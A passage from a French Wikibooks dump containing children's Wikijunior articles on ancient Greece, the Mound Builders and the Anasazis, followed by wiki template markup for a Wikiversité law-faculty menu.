êtres mi-homme, mi-cheval *Les récits mythologiques **L' ''Iliade'' et l' ''Odyssée'' sont deux poèmes attribués à Homère, qui aurait vécu au VIII{{e}} siècle avant J.-C. L'Iliade raconte comment les Grecs ont détruit la ville de Troie (''Ilion'') et libéré Hélène. L'''Odyssée'' narre le voyage périlleux du grec Ulysse et de ses compagnons après la guerre de Troie. Il finit par retrouver sa famille et son île natale, Ithaque. Les jeunes grecs apprenaient des passages entiers de ces textes et devaient y trouver un modèle de courage et de persévérance. <div style="float:left; border:1px solid #8888aa; background-color:#BBB2FF; font-size:90%; padding:4px"> [[Image:Nuvola 64 apps kopete.png|50px]] <font color=purple>'''Savais-tu que ...'''</font> De nombreuses marques d'aujourd'hui reprennent la mythologie grecque : *''Nike'' a pris le nom de la déesse de la victoire, ''Nikè'' *La marque de mode ''Hermès'' emprunte le nom du dieu des voyages Les astronomes donnent souvent des noms de dieux ou de héros aux constellations (Persée, Pégase, Andromède, Orion ...). Quant au continent européen, il doit son nom à la belle Europe, une jeune fille enlevée par Zeus </div> <br clear=all> [[Image:Segeste-Temple_face_ecrit.PNG|thumb|350px|left|Temple grec de Ségeste en Sicile. Vocabulaire]] *Les Grecs honorent leurs dieux en construisant de magnifiques temples qui sont construits selon les mêmes principes : leur plan est rectangulaire. L'édifice est construit sur quelques marches qui forment un podium. Il est entouré par deux rangées de colonnes monumentales. Ces colonnes ont des styles différents : l'ordre dorique est le style le plus ancien. À l'extérieur se trouvait un autel, c'est-à-dire une table pour les sacrifices d'animaux. Comme en Égypte, seuls les prêtres pouvaient entrer dans le temple où se trouvait la statue du dieu et le trésor. Ce dernier était formé par les offrandes des fidèles. Le Trésor des Athéniens à Delphes était très riche. '''* Les sanctuaires grecs.''' Les Grecs venaient des quatre coins de la Méditerranée pour vénérer leurs dieux dans des sanctuaires. Ces espaces sacrés, généralement entourés d'une muraille, étaient la demeure des dieux. Les sanctuaires les plus fréquentés étaient deux d'Olympie et de Delphes. À Delphes, les Grecs venaient consulter une prêtresse, la Pythie. Elle était connue pour pouvoir prédire l'avenir. Le sanctuaire d'Olympie était dédié à Zeus. Tous les quatre ans s'y déroulaient des concours sportifs, les fameux jeux olympiques. Les premiers datent du VIII{{e}} siècle avant J.-C. Ils attiraient des personnes de tout le monde grec. Chaque cité envoyait ses champions dans l'espoir de remporter les compétitions. Les épreuves étaient la course à pied, la lutte, le lancer du disque ... =La Grèce classique= La période classique correspond au V{{e}} siècle avant J.-C. C'est le moment où Athènes est la cité la plus puissante du monde grec. ==Les guerres médiques== <div style="float:right; border:2px solid #800080; width:250px; background-color:#ffaaff; margin-left:0.6em; padding:0.6em"> [[Image:Crystal Clear app xmag.png|50px]] '''D'où vient le Marathon ? ...''': <small>Marathon était un lieu situé en Grèce, à environ 40 kilomètres au nord d'Athènes. C'est ici que les Athéniens et leurs alliés ont vaincu les Perses lors de la première guerre médique. On raconte que les Grecs auraient envoyé un messager pour annoncer la victoire à Athènes. Celui-ci aurait rempli sa mission mais serait mort d'épuisement juste après.</small> </div> Les guerres médiques ont opposé au V{{e}} siècle avant J.-C. les Perses (appelés aussi "Mèdes") et les cités grecques. Après avoir pris possession des villes grecques d'Asie Mineure (l'actuelle Turquie), l'empereur perse attaque les Grecs à deux reprises. En 490 avant J.-C., les Perses débarquent dans la plaine de Marathon, mais sont vite refoulés grâce aux hoplites d'Athènes et de ses alliés. Dix années plus tard, en 480 avant J.-C., les Perses lancent une nouvelle offensive en s'en prenant à la cité d'Athènes qu'ils détruisent. Mais les navires de guerre perses sont coulés près de l'île de Salamine par une imposante flotte de trières grecques. Ils subissent une dernière défaite à Platées en 479 avant J.-C. Ils n'oseront plus attaquer les Grecs de sitôt. Ils rendent même leur liberté aux cités d'Asie Mineure. Athènes sort renforcée de ces guerres. C'est elle qui avait fourni l'essentiel des combattants et du matériel de guerre. Son prestige est immense et va lui servir à asseoir sa domination sur une grande partie des autres cités. ==Le trésor de la ligue de Délos== Redoutant le retour des Perses, les cités grecques se regroupent pour mieux se défendre : elles fondent la Ligue de Délos, une alliance dirigée par Athènes. Les cités doivent payer un impôt spécial (un tribut) à Athènes, sous forme de navires de guerre ou d'argent. Cet argent forme la Trésor de la Ligue de Délos, qui sera par la suite entreposé dans le Parthénon (voir le paragraphe suivant). Mais Athènes transforme vite cette alliance en empire maritime et impose sa domination aux cités de la Mer Égée. Périclès utilise l'argent pour construire des temples et des monuments à Athènes. ==Périclès et la démocratie== [[Image:Pericles British.jpg|thumb|left|Buste de Périclès]] ==L'Acropole== [[Image:2006 01 21 Athènes Parthénon.JPG|thumb|Le Parthénon]] L'Acropole était une colline fortifiée dans la cité d'Athènes. Les Athéniens y construisent un sanctuaire en l'honneur de leur déesse protectrice Athéna. Détruits par les Perses au cours des guerres médiques, les temples de l'Acropole sont rebâtis sous le gouvernement de Périclès, au V{{e}} siècle avant J.-C. Les travaux ont été confié au grand artiste Phidias. Les pélerins accédaient à l'Acropole par un chemin en pente et entraient par une porte monumentale : les Propylées. Sur la grande esplanade, ils pouvaient admirer une statue d'Athéna en bronze, l'Erechtheion, le temple d'Artémis, mais surtout le Parthénon. Le Parthénon abritait la statue géante (12 mètres) en or et en ivoire de la déesse Athéna. Il conservait également le Trésor de la Ligue de Délos. Cet imposant temple était entouré de colonnes et décoré sur tout son pourtout de la célèbre frise des Panathénées. ==L'art classique== ===Des sculptures réalistes=== À Athènes, de multiples statues ornaient les rues, les places et les carrefours. On en trouvait également dans les temples et même chez les riches particuliers. Les sculpteurs grecs réalisent surtout des statues de corps humains dénudés. Ils représentent aussi les dieux grecs. Ils savent rendre avec génie les proportions du corps, les attitudes et les mouvements, les drapés des vêtements. Les matériaux utilisés sont le bronze, le marbre et la céramique. Malheureusement, beaucoup de ces statues ont été détruites au cours de l'Histoire et on en connaît un grand nombre grâce aux copies que les Romains ont réalisées. ===Des peintures sur vase=== [[Image:NAMA Thésée & taureau.jpg|left|100px]] Les cités grecques produisaient beaucoup de céramiques. Elles servaient d'ustenciles de cuisine, de récipient ou de conservation. Elles étaient décorées de deux manières : soit les personnages étaient rouges sur un fond noir, soit ils étaient noirs sur fond rouge. Les peintures représentaient des scènes mythologiques, religieuses ou de la vie quotidienne : elles sont, pour les historiens, une source d'informations très riche pour connaître la civilisation grecque. ==La vie quotidienne== ===Sur la place publique=== ===Au théâtre=== [[Image:Segesta, Teatro greco (2).jpg|thumb|Théâtre grec de Ségeste, Sicile]] Le théâtre est un spectacle inventé en Grèce en l'honneur du dieu Dyonisos. Pendant les grandes fêtes religieuses, les Grecs se pressaient pour assister aux représentations théâtrales organisées par la cité. Toutes les grandes cités du monde grec possédait un théâtre : c'était un grand bâtiment à ciel ouvert en forme de demi-cercle. Une série de gradins en pierre et en pente permettait d'accueillir des centaines de spectateurs. La scène, qui formait un cercle, se trouvait en bas. Grâce à une architecture savante, les spectateurs du haut entendaient parfaitement la pièce. Les acteurs portaient des masques de théâtre. Un chœur de plusieurs personnes ajoutait des commentaires et chantait. ==Sparte, la grande rivale d'Athènes== [[de:Wikijunior Alte Zivilisationen/ Griechen]] Wikijunior:Les civilisations anciennes/Les Mound Builders 7143 44447 2006-06-12T19:08:21Z 88.73.222.142 + interwiki Les '''Mound Builders''' étaient des Indiens d'Amérique qui vivaient sur le territoire actuel des États-Unis. Leur nom vient de l'anglais et signifie "Bâtisseurs de tertre". =Où vivaient-ils ?= Les ''Mound Builders'' occupaient la moitié ouest de l'Amérique du Nord. Leur civilisation commence vers 1000 avant Jésus-Christ et disparaît brutalement vers 1500 après Jésus-Christ. Les Européens qui explorèrent l'Amérique au XVIe siècle ne les ont pas connu. La plupart de leurs monuments, des collines artificielles en terre, ont disparu. Mais les archéologues essaient de retrouver leur façon de vivre à partir des maigres indices qui restent. = Comment ont-ils été découverts ?= [[Image:Jefferson-peale.jpg|left|250px]] C'est à partir de 1784 que Thomas Jefferson décide de fouiller systématiquement les tertres de sa propriété en Virginie. Les colons américains avaient repéré ces formes étranges et leur avaient donné des explications parfois extravagantes : était-ce les restes des réfugiés de l'Atlantide ? des monuments construits à l'aide de mammouths apprivoisés ? Jefferson, passionné de science, fouille un tertre de forme conique, mesurant 6 mètres de hauteur. Il découvre de grandes quantités d'ossements humains mélangés. Ces recherches révèlent que la terre qui recouvrait les corps était apportée panier par panier car les Indiens ne disposaient ni de la roue, ni d'animaux de trait. Au fil des générations, les monticules pouvaient ainsi atteindre 30 mètres. <div style="float:left; border:1px solid #8888aa; background-color:#BBB2FF; font-size:90%; padding:4px"> [[Image:Nuvola 64 apps kopete.png|50px]] <font color=purple>'''Savais-tu que ...'''</font> Thomas Jefferson était un personnage atypique. Cet Américain, né en 1743, se passionna pour les sujets les plus divers : il étudia la botanique, la géologie, la cartographie, l'architecture, le grec, le latin, le droit, l'histoire et la philosophie. Il entreprit une carrière politique et fut élu deux fois président des États-Unis (1801-1809). Il participa activement à la rédaction de la Déclaration d'Indépendance américaine en 1776. Ayant fait plusieurs voyages en Europe, on dit qu'il aurait introduit aux États-Unis la crème glacée, les gaufres et les macaronis. </div> <br clear=all> = Que sait-on de leur histoire ?= Les maigres indices apportés par l'archéologie montrent plusieurs périodes : * La culture des Adenas semble la plus ancienne (1000 / 300 avant J.-C.). Elle s'est développé dans les états actuels de l'Ohio, de l'Illinois, de Virginie occidentale et du Kentucky * La culture des Hopewells ou Hopewelliens remplaça celle des Adenas du IIIe siècle au VIe siècle. * La culture des ''Effigy Mounds'' se développa dans l'Iowa, l'Illinois, le Wisconsin, le Michigan et le Minnesota. Elle aménageait des tertres en forme d'animaux : ainsi, près de Newark, dans l'Ohio, on a repéré un complexe monumental s'étendant sur 11 km² et comprenant une figure d'oiseau de 360 mètres de diamètre pour le grand tertre ; les terres utilisées étaient de différentes couleurs pour leur signification symbolique. Chef d'œuvre technique de l'âge de pierre, un octogone servait peut-être d'observatoire érigé selon le lever de la lune. Près de la Great Hopewell Road, on a retrouvé l'effigie géante d'un alligator (ou panthère des eaux), symbole d'un esprit du monde souterrain. Un autre tertre, appelé tertre du serpent, mesure 380 mètres. * Enfin, la civilisation du Mississippi avec la grande ville de Cahokia dans l'Illinois. = À quoi ressemblaient leurs villages ? = [[Image:Mound Builder City.jpeg|center]] Les villages des Mound Builders correspondent aujourd'hui à l'emplacement des villes modernes américaines. On sait qu'il existait une place destinée au commerce dans ces villages. Il est probable que les Mound Builders étaient en contact avec la civilisation aztèque, située plus au sud (Mexique actuel). Des objets en obsidienne (voir photo à droite), une roche coupante d'origine volcanique, ont été retrouvés dans des sites qui sont très éloignés de tout volcan. [[Image:Arrowhead.jpg|right]] Certains des plus grands tertres servaient peut-être de temples funéraires. Ils permettaient de célébrer des cérémonies en l'honneur des morts. Les chefs étaient enterrés sous ces monticules de terres. Les archéologues ont retrouvé des bijoux et des objets symboliques de leur pouvoir. Mais les objets en or et les bijoux ont été pillés par les chercheurs de trésor. =Que mangeaient-ils ?= Leur alimentation était très variée et dépendait des régions. Ils cultivaient le maïs, les haricots et les courges. Ils chassaient également de petits animaux tels que les lapins ou les écureuils. Ils pouvaient aussi se nourir de bisons et de biches. Dans les régions marécageuses et chaudes, ils faisaient pousser du riz sauvage. Les produits de la pêche venaient compléter leur régime alimentaire. Plusieurs pipes ont été extraites de certains tumulus, ce qui montre que les Mound Builders fumaient. Le tabac est en effet une plante d'origine américaine. =Avaient-ils une écriture ?= Jusqu'à présent, les archéologues n'ont trouvé aucune trace d'une écriture alphabétique. Mais les Mound Builders gravaient des signes (les pétroglyphes) sur les rochers et dans les cavernes. On retrouve ces signes sur les poteries. Ils semblent parfois raconter l'histoire d'un ancêtre valeureux. Les exploits du passé étaient transmis par oral de génération en génération. Les tribus indiennes qui descendent des Mound Builders ont gardé leur souvenir. =Cahokia= [[Image:Bird Man Cahokia USA.jpg|thumb|left|L'Homme-Oiseau était un chef enterré sous un tertre à Cahokia. Son corps était allongé sur 20 000 coquillages blancs qui dessinaient la forme d'un rapace]] Cahokia fut la première véritable ville d'Amérique du Nord et rassemblait au moins 20 000 habitants. Les rues formaient un quadrillage régulier. Un tertre pyramidal à gradins s'y trouvait, appelé ''tertre des moines''. Sa base mesurait 250 sur 300 mètres ; elle était donc plus large que celle de Khéops en Égypte. Les archéologues ont trouvé une tablette en grès sur laquelle est gravé un homme portant un masque en forme de bec. Au verso figure un quadrillage représentant peut-être la peau d'un serpent, créature du monde inférieur. Au XIII{{e}} siècle, des puissances étrangères semblent avoir menacé la ville de Cahokia. Un mur en bois de 3 km de long a été érigé pour protéger le sanctuaire. Des indices montrent qu'il a été restauré quatre fois en un siècle. Toujours sur le même site, on a trouvé la tombe d'un chef, allongé sur une couverture funéraire en coquillages. Il était enterré avec des corps sacrifiés (4 hommes aux mains et têtes coupées). On avait aussi placé 400 pointes de flèches ouvragées spécialement fabriquées pour le chef, un sceptre en cuivre et plusieurs kilos de micaschiste. Plusieurs tombes collectives avec des femmes du même âge se trouvent à proximité, peut-être victimes d'un sacrifice en son honneur. =Quelles étaient leurs croyances ?= [[Image:Monks Mound IL USA.jpg|thumb|Monks Mound dans l'Illinois]] *D'après les bijoux et les masques de cérémonie qui ont été enterrés sous les tertres, les spécialistes pense que les Mound Builders croyaient que les animaux étaient dotés d'une âme. Ces croyances '''animistes''' les poussaient à porter des talismans, de petits objets qui devaient les protéger du mauvais sort. Le tertre en forme de serpent retrouvé dans l'Ohio a suscité chez les historiens de nombreuses interpétations : le bout de sa queue marquait-elle l'entrée du royaume des morts ? Servait-il de calendrier solaire ? En effet, au solstice d'été (21 juin), le soleil se couche dans l'axe de la tête. C'est la preuve pour certains que cette civilisation maîtrisait l'observation des astres. *D'autres historiens supposent en examinant les pétroglyphes qu'ils rendaient un culte aux ancêtres. Leurs objets étaient faits en cuivre qu'ils allaient cherche en canoë sur les rives du Lac Supérieur. Les artisans indiens les martelaient à froid pour fabriquer des objets destinés au culte. Ils sculptaient également la stéatite et aimait beaucoup les micas. <div style="float:left; border:1px solid #8888aa; background-color:#BBB2FF; font-size:90%; padding:4px"> [[Image:Nuvola 64 apps kopete.png|50px]] <font color=purple>'''Savais-tu que ...'''</font> L'animisme est l'une des plus vieilles religions du monde. Elle est répandue chez de nombreux peuples très éloignés les uns des autres. Elle est en effet partagée par les Indiens d'Amazonie, les Inuits des régions arctiques, les tribus africaines ou les Aborigènes d'Australie. </div> <br clear=all> =Comment cette civilisation a-t-elle disparu ?= Les historiens n'ont aucune certitude sur la disparition des Mound Builders. Ils avancent les explications suivantes, qui ne sont que des suppositions : * La civilisation a commencé à s'affaiblir avant l'arrivée des conquistadores espagnols. On a relevé des traces de guerre et d'abandon de certains villages. * Les nouvelles maladies apportées par les conquérants européens à partir du XVI{{e}} siècle se sont rapidement propagé et ont pu décimer les populations concentrées dans les villes. * Un changement climatique a pu aussi accélerer leur disparition. = Que reste-t-il de cette civilisation aujourd'hui ? = On estime à plusieurs milliers le nombre des tertres mais la majorité a été détruit par l'érosion et le machinisme agricole : on en a identifié 120 pour l'instant. Les grands tertres qui subsistent sont protégés comme monuments historiques. Les sites sont : *Monk's Mound (Collinsville, Illinois) *Serpent Mound (Peebles, Ohio) *Etowah Indian Mounds (Géorgie). [[de:Wikijunior Alte Zivilisationen/ Hügelbauer]] [[en:Wikijunior Ancient Civilizations/Mound Builders]] Wikijunior:Les civilisations anciennes/Les Anasazis 7144 43132 2006-05-25T11:53:09Z Urban 886 /* Autres */ Les '''Anasazis''' étaient des Indiens d'Amérique qui habitaient le Sud-Ouest des États-Unis actuels entre le VIII{{e}} et le XIII{{e}} siècle de notre ère. Ils ont construit une brillante civilisation fondée sur l'irrigation et des villages énigmatiques. [[Image:Newspaper Rock Utah USA2.jpg|right|500px]] =Qui étaient les Anasazis ?= Le mot ''Anasazi'', qui veut dire "anciens", est utilisé par les Amérindiens pour désigner leurs lointains ancêtres. Les Espagnols ont baptisé leurs descendants les ''pueblos'', terme signifiant ''villages''. En effet, les pueblos, comme les Anasazis, vivaient dans des maisons à plusieurs étages, construites en dur et groupées. Aujourd'hui, les Indiens Hopis utilisent le mot ''"Hisatsinom"'' plutôt que celui d'"Anasazi". Enfin, les historiens regroupent parfois sous l'appellation "Anasazi" plusieurs cultures semblables et qui ont vécu dans la même région : les Hohokams, les Mogollons et les Patayans, des peuples qui ont tous disparu avant l'arrivée des Européens en Amérique. =Dans quelle région vivaient-ils ?= [[Image:Anasazi Map USA1.GIF|thumb|center|400px|La région des Anasazi ('''en vert'''). Elle s'étend sur quatre états du sud-ouest des États-Unis. Elle est voisine des cultures Hohokam (en violet) et Mogollon (en orange. Les trois sites archéologiques les plus importants sont Mesa Verde (1), Chaco Canyon (2) et Gila Cliff (3)]] Les archéologues ont retrouvé des vestiges de cette culture dans quatre états américains : Arizona, Utah, Nouveau-Mexique et Colorado. Comme ces états se touchent par un coin, on désigne cette région sous le nom anglais de ''Four Corners'' (région des "Quatre Coins"). Si les paysages de ces contrées sont grandioses, les conditions naturelles rendent la vie difficile : la sécheresse marque la plupart des espaces, qui prennent un aspect désertique à certains endroits. [[Image:Wupatki National Monument.jpg|thumb|left|Ruines anasazies en Arizona. Steppes et montagnes constituent le cadre naturel du peuple anasazi]] Cependant, les Anasazis savent utiliser les ressources naturelles et respecter l'équilibre de l'environnement. Ils cueillent par exemple les feuilles du yucca pour les tresser. Ils maîtrisent les techniques agricoles et se sont adaptés aux contraintes du milieu. Les produits qu'ils ne trouvent pas sur place sont importés d'autres régions. Ensuite, l'altitude est une autre contrainte. Les hivers sont froids et la neige peut recouvrir le sol. L'écart des températures entre l'hiver et l'été est important. À l'est, les Montagnes Rocheuses culminent à plus de 4 000 mètres au-dessus du niveau de la mer. L'aire de la culture anasazie s'étend sur de hauts plateaux, parcourus par des fleuves qui coulent dans des vallées encaissées. Les habitants se sont surtout installé sur les ''mesa'', terme espagnol signifiant "table", des plateaux rocheux balayés par les vents. =À quoi ressemblaient leurs habitations ?= [[Image:Anasazi pueblos.jpg|thumb|Ruines anasazies, dans l'Arizona]] *Les plus anciennes habitations des Anasazies étaient bien modestes : il s'agissait de petites maisons, chacune assez grande pour loger une famille. Elles étaient aménagées dans des fondations peu profondes. Leur toit était recouvert de terre et de branchages. Elles se sont regroupées progressivement pour former des hameaux. *Par la suite, les villages des Anasazis pouvaient abriter plusieurs centaines d'habitants. Agriculteurs sédentaires, les Anasazis cultivaient leurs champs qui étaient proches des habitations. Les murs étaient faits d'une sorte de pisé appliqué sur un treillage. Les constructions les mieux conservées aujourd'hui comportait une structure de pierres sèches tenues ensemble par un mortier. Le toit était recouvert par des couches d'argile et de branchages maintenus sur des rondins de bois. Les maisons ne comptaient qu'un seul niveau au début, mais pouvaient s'agrandir par le haut, en ajoutant un ou deux étages supplémentaires. Plusieurs pièces étaient réservées au stockage de la nourriture. Vers l'An Mille de notre ère, ce type de construction élaborée devient de plus en plus fréquent. *Dans les villages, les archéologues se sont beaucoup intéressé aux kivas : de forme carrée ou circulaire, ces pièces étaient dévolues au travail ou au repos dans les premiers temps. Puis, les grandes kivas semblent avoir servi de lieu de cérémonies religieuses pour la communauté. *Les Anasazis savaient choisir des sites naturels exceptionnels pour s'installer : plusieurs villages se sont ainsi abrités sous d'imposantes falaises au XIII{{e}} siècle. Creusées dans les parois de gigantesques cayons, les habitations troglodytes attirent toujours la curiosité des touristes. Ce type d'habitat présentait l'avantage d'offrir une protection contre la pluie ou la neige. L'orientation des villages préservait la communauté du froid en hiver et de la canicule en été. De plus, de tels sites constituaient un rempart naturel contre d'éventuelles attaques. En revanche, les champs étaient plus éloignés des habitations et moins accessibles pour les habitants. =Que mangeaient-ils ?= [[Image:Ovis canadensis 0.jpg|thumb|Bighorns : les Anasazis chassaient parfois ces animaux dans les zones montagneuses]] *Les Anasazis cultivaient le maïs (qui était à la base de leur alimentation), les haricots, les courges, le tabac. Les champs se trouvaient sur les espaces plats (mesas, plaines ...) jusqu'à 2100 mètres au-dessus du niveau de la mer. Plus haut, les conditions climatiques étaient trop difficiles pour cultiver. *Les Anasazis ont progressivement adopté les techniques d'irrigation venues du Mexique : soit en puisant l'eau des fleuves (Rio Grande), soit en constituant des réserves d'eau de pluie. La construction de petits barrages, de canaux et de réservoirs nécessitait une certaine organisation de la communauté. Une partie des récoltes était entreposée en cas de mauvaises récoltes. *Malgré tout, les Anasazis n'ont jamais complètement abandonné la chasse et la cueillette pratiquée par leurs ancêtres nomades. Pignons, baies, fruits sauvages constituaient une nourriture d'appoint. Ils trouvaient du gibier dans les montagnes (biches, wapitis, antelopes, bighorns). Les animaux plus petits (lapins, écureuils, oiseaux ...) étaient capturé au moyen de pièges et de filets en yucca. *Le maïs et les courges étaient séchés et stockés. Les pommes de pin étaient détachées à l'aide de perches avant d'être chauffées pour qu'elles libèrent les pignons. Ces derniers étaient soit consommés directement, soit écrasés pour préparer de galettes. Les graines de tournesol devaient être écossées et entreposées dans des jarres. Les petits animaux (lapins ...) étaient la source principale de viande. Les animaux plus grands étaient débités sur le lieu de chasse. La viande était accomodée en ragouts ou bien hachée. On appréciait également la moelle des os et on gardait la peau pour d'autres usages. L'élevage des dindes ne servaient qu'à fournir des plumes. Leur viande n'était pas consommée. Comme les chiens, elles servaient plutôt d'animal de compagnie. [[Image:Ceramic Hopi jar - by-Nampeyo - date-ca. 1880 - from-DC1.jpg|thumb|Céramique des Indiens Hopis. Les Hopis sont les descendants des Amasazis]] *Les céréales étaient gardées dans des récipients fermés, afin des les protéger des rongeurs et des insectes. Au VI{{e}} siècle apparaît une poterie décorée de figures (lignes, points) qui reprennent sans doute des décors simples de vannerie. Plus tard, le décor devient plus complexe : des représentations d'animaux ou d'êtres humains sont dessinées. Les couleurs utilisées sont différentes selon les régions : noir et blanc dans le Colorado, noir et rouge dans le nord de l'Arizona, rouge et chamois dans l'Utah. La poterie était souvent richement décorée de motifs incrustés avant cuisson au moyen de divers objets (épis de céréales, tige de yucca ou coquillages). *On faisait du feu en frottant un bâton sur une plaque de bois. Il était ensuite entretenu dans un trou creusé à même sol. Pour cuisiner, on se servait d'ustenciles en terre cuite, en bois ou en os. Pour faire bouillir de l'eau, on ne devait pas allumer un feu sous une poterie : cela la détruirait ! Alors on déposait des pierres brûlantes au fond du récipient afin qu'elles chauffent le liquide. =Quelles étaient leurs croyances ?= *Les Anasazis ont laissé de nombreux pétroglyphes dans le désert américain sur des falaises en grès. Il s'agit de dessins plus ou moins stylisés, gravés dans la paroi des canyons. Ils peuvent être isolés ou couvrir plusieurs mètres carrés. Les archéologues ne peuvent faire que des suppositions quant à leur signification : **Ces dessins figurent souvent des animaux et témoignent de l'importance de la chasse. **D'autres signes seraient des cartes rudimentaires indiquant des sources ou des villages. **La figuration de céréales repésente une bonne récolte. **Certains motifs représentent une famille ou un groupe d'hommes. [[Image:Hunter Petroglyph by jcheever.jpg|thumb|Pétroglyphe représentant une scène de chasse. Newspaper Rock, Utah]] **Les spirales évoquent le mouvement du soleil ou le temps qui passe. Elles appartiennent peut-être à une sorte de calendrier rituel. Pour les Pueblos d'aujourd'hui, elles symbolisent les migrations des tribus. Plusieurs sites de pétroglyphes sont en relation avec le solstice. Ceux de Hovenweep National Monument indiquent clairement ce moment de l'année. Les alignements de bâtiments du site archéologique de Chimney Rock prouvent que les Anasazis comprenaient et savaient prévoir les cycles lunaires. *Les historiens ignorent s'il existait un clergé structuré. On sait que certains personnages recherchaient occasionnellement à provoquer des visions en prenant des plantes hallucinogènes. Des graines de datura ont été retrouvées à Mesa Verde : cette plante toxique provoque des hallucinations. *Les anciens Anasazi rendaient un culte au dieu Kokopelli ainsi qu'aux kachinas, des esprits invisibles. Il existait des cérémonies collectives destinées à invoquer les esprits afin qu'ils protègent la communauté. Elles étaient sans doute organisées dans les kivas. Les kivas étaient des emplacements creusés dans le sol et recouverts d'un toit ; on y descendait par une petite échelle pour pratiquer le culte ou réunir le conseil. Des fêtes religieuses liées aux cycles agricoles devaient également être célébrées. =Comment étaient-ils organisés ?= La société devait probablement ressembler à celle des Pueblos actuels. Elle est matrilinéaire. Le mari doit intégrer le clan de sa femme. La terre et la maison appartiennent à la mère. La femme peut divorcer. Les archéologues ne sont pas certains que les Anasazis vivaient en clans. Ils penchent plutôt pour une organisation égalitaire, sans groupes sociaux hiérarchisés. =Quels objets fabriquaient-ils ?= [[Image:Chacoan turquoise with argillite.jpg|thumb|Turquoises]] *Les hommes tissaient le coton pour en faire des couvertures et des chemises. Ils utilisaient d'autres fibres végétales (yucca) ou animales (fourrures) pour leurs vêtements. Ils portaient des sandales et des mocassins, et probablement des chaussures adaptées à la neige pour l'hiver. *Les bijoux étaient courants : colliers, boucles d'oreilles, bracelets, broches, peignes étaient faits en bois, en os, en corail, en jais et en pierres diverses (turquoise ...). *Les Anasazis faisaient venir des coquillages de Californie, des perles de cuivre du Mexique, du coton du sud... Les marchands empruntaient des sentiers qui formaient un réseau assez vaste. Mais il n'y avait pas de véritables routes aménagées pour le commerce, contrairement aux voies de l'empire inca. Pueblo Bonito est attesté comme l'un des grands centres de commerce des Anasazis. On ne payait pas avec de l'argent mais en donnant quelquechose en échange : c'est le système du troc. *Les artisans réalisaient toutes sortes d'objets en terre cuite : jarres, bols, pichets, cuillères, petites figurines ... *Dans la vie quotidienne, les Anasazis se servaient de différents objets : **Paniers, corbeilles faits en osier, yucca, sumac étaient destinés à de multiples usages. Ils étaient par exemple utilisés comme sac-à-dos pour transporter des outils, des branchages ou de la nourriture. **Outils et armes en pierre (flèches, couteaux en obsidienne). **Objets pour le tissage du coton, pour coudre le cuir (aiguilles en os). **Fil (parfois en cheveux), ficelle et cordages (fibres de yucca) <div style="float:left; border:1px solid #8888aa; background-color:#FFFF80; font-size:90%; padding:4px"> [[Image:Crystal Clear app xmag.png|50px]] <font color=#804000>'''Guide du petit archéologue'''</font> *Que nous enseignent les objets ? Alors qu'autrefois les archéologues ne s'intéressaient qu'aux objets précieux et aux monuments, ils étudient aujourd'hui tous les restes de l'activité humaine passée (os, dépôts d'ordures, traces de feu ...). La conservation des objets anciens dépend des conditions climatiques et des matériaux utilisés : un objet en métal ou en pierre se conserve mieux qu'un objet en bois. Un climat désertique ou un milieu très humide (tourbe) garde mieux les matériaux. La glace est également un milieu propice à la sauvegare des vestiges. Les objets retrouvés par les archéologues sont une bonne source d'information lorsqu'on ne dispose d'aucun document écrit. Ils nous éclairent sur la vie quotidienne, les techniques, l'organisation sociale ou les croyances. En classant et en comparant ces vestiges, il est possible de reconstituer une partie de l'histoire de civilisations disparues. </div> <br clear=all> =Pourquoi ont-ils disparu ?= À partir de 1300, les Anasazis se réfugient dans la vallée du Rio Grande et au centre de l'Arizona. On finit par perdre leur trace avant l'arrivée des Européens. Les causes de cette disparition sont difficiles à établir avec certitude : *Un changement climatique a-t-il menacé les récoltes ? *L'environnement s'est-il soudainement dégradé ? (déforestation, manque de terres cultivables ?) *La pression démographique est-elle devenue trop forte ? *Des problèmes d'ordre politique sont-ils apparus ? Des guerres ont-elles ruiné la région ? En l'absence de documents écrits et en l'état des connaissances actuelles, il est difficile de répondre à ces questions. =Où peut-on voir les restes de cette civilisation ?= [[Image:Mesaverde2.jpg|thumb|center|500px|Le site anasazi de Mesa Verde]] Il existe des centaines de sites archéologiques aux États-Unis ; certains sont ouverts au public : * Mesa Verde * Chaco Canyon (Nouveau-Mexique) * Dolores Valley (500 / 1000) * Escalante Pueblo * Chimney Rock, près de Pagosa Springs (Colorado) * Hovenweep National Monument * Mancos (Colorado) * Tin Cup Mesa (Utah) * Canyon of the Ancients National Monument * Aztec Ruins National Monument * Casa Grande Ruins National Monument * Gila Cliff Dwellings National Monument * Bandelier National Monument * Montezuma Castle National Monument * Tuzigoot National Monument * Wupatki National Monument =Que lire sur les Anasazis ?= ==Livres pour la jeunesse== *Gilbert Legay, ''Dictionnaire des Indiens d'Amérique du Nord'', Paris, Casterman, 2005. *Bill Asikinack, Kate Scarborough, ''L'Amérique du Nord'', Paris, Bayard, 1996. *Yves Cohat, ''L'Amérique précolombienne [...]'', Paris, Hachette, 2004. ==Autres== *"Les Anasazis", magazine Géo, n°265, 2001, page 136 [[de:Wikijunior Alte Zivilisationen/ Anasazi]] Voir aussi l'[http://fr.wikipedia.org/wiki/Anasazi article de wikipédia] Modèle:Droit/sous-section 7145 33665 2006-02-21T00:22:01Z Gregory.lussier 1165 Modèle:Département de droit/menu 7146 33668 2006-02-21T00:32:21Z Gregory.lussier 1165 {| style="border:1px solid black;" cellspacing="0" cellpadding="5" width="150" align="right" | style="font: 100% Arial; color:black" align="center" bgcolor="#0093B7" | |- | style="font: 100% Arial; color:black" bgcolor="#ECFBFF" align="center"| Faculté de droit<br> ''de la Wikiversité'' |- | style="font: 100% Arial; color:black" bgcolor="white" align="left"| *Accueil *Programme *Cours *Études **Professeurs **Étudiants *Discussion |-} Modèle:Département de droit 7147 35412 2006-03-02T02:32:56Z Gregory.lussier 1165 {| style="border:1px black solid;" cellspacing="0" cellpadding="2px" align="right" width="150px" | style="text-align:center;background:#0093B7;" | |- | style="text-align:center;background:#ECFBFF;" | '''Faculté de droit''' <br> ''de Wikiversité'' |- | bgcolor="white" | *[[Wikiversité:Faculté de droit canadien|Accueil]] *[[Faculté de droit/Programmes|Programmes]] *[[Faculté de droit/Cours|Cours]] *Études **[[Faculté de droit/Professeurs|Professeurs]] **[[Faculté de droit/Étudiants|Étudiants]] *[[Discuter:Wikiversité:Faculté de droit|Discussion]] |- | align="center" bgcolor="#ECFBFF" | [[Image:facultededroit003.png]] |- | align="center" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:D%C3%A9partement_de_droit&action=edit Modifier ce modèle]</small> |} Wikiversité:Faculté de droit 7148 35534 2006-03-02T14:00:24Z Moundji 1190 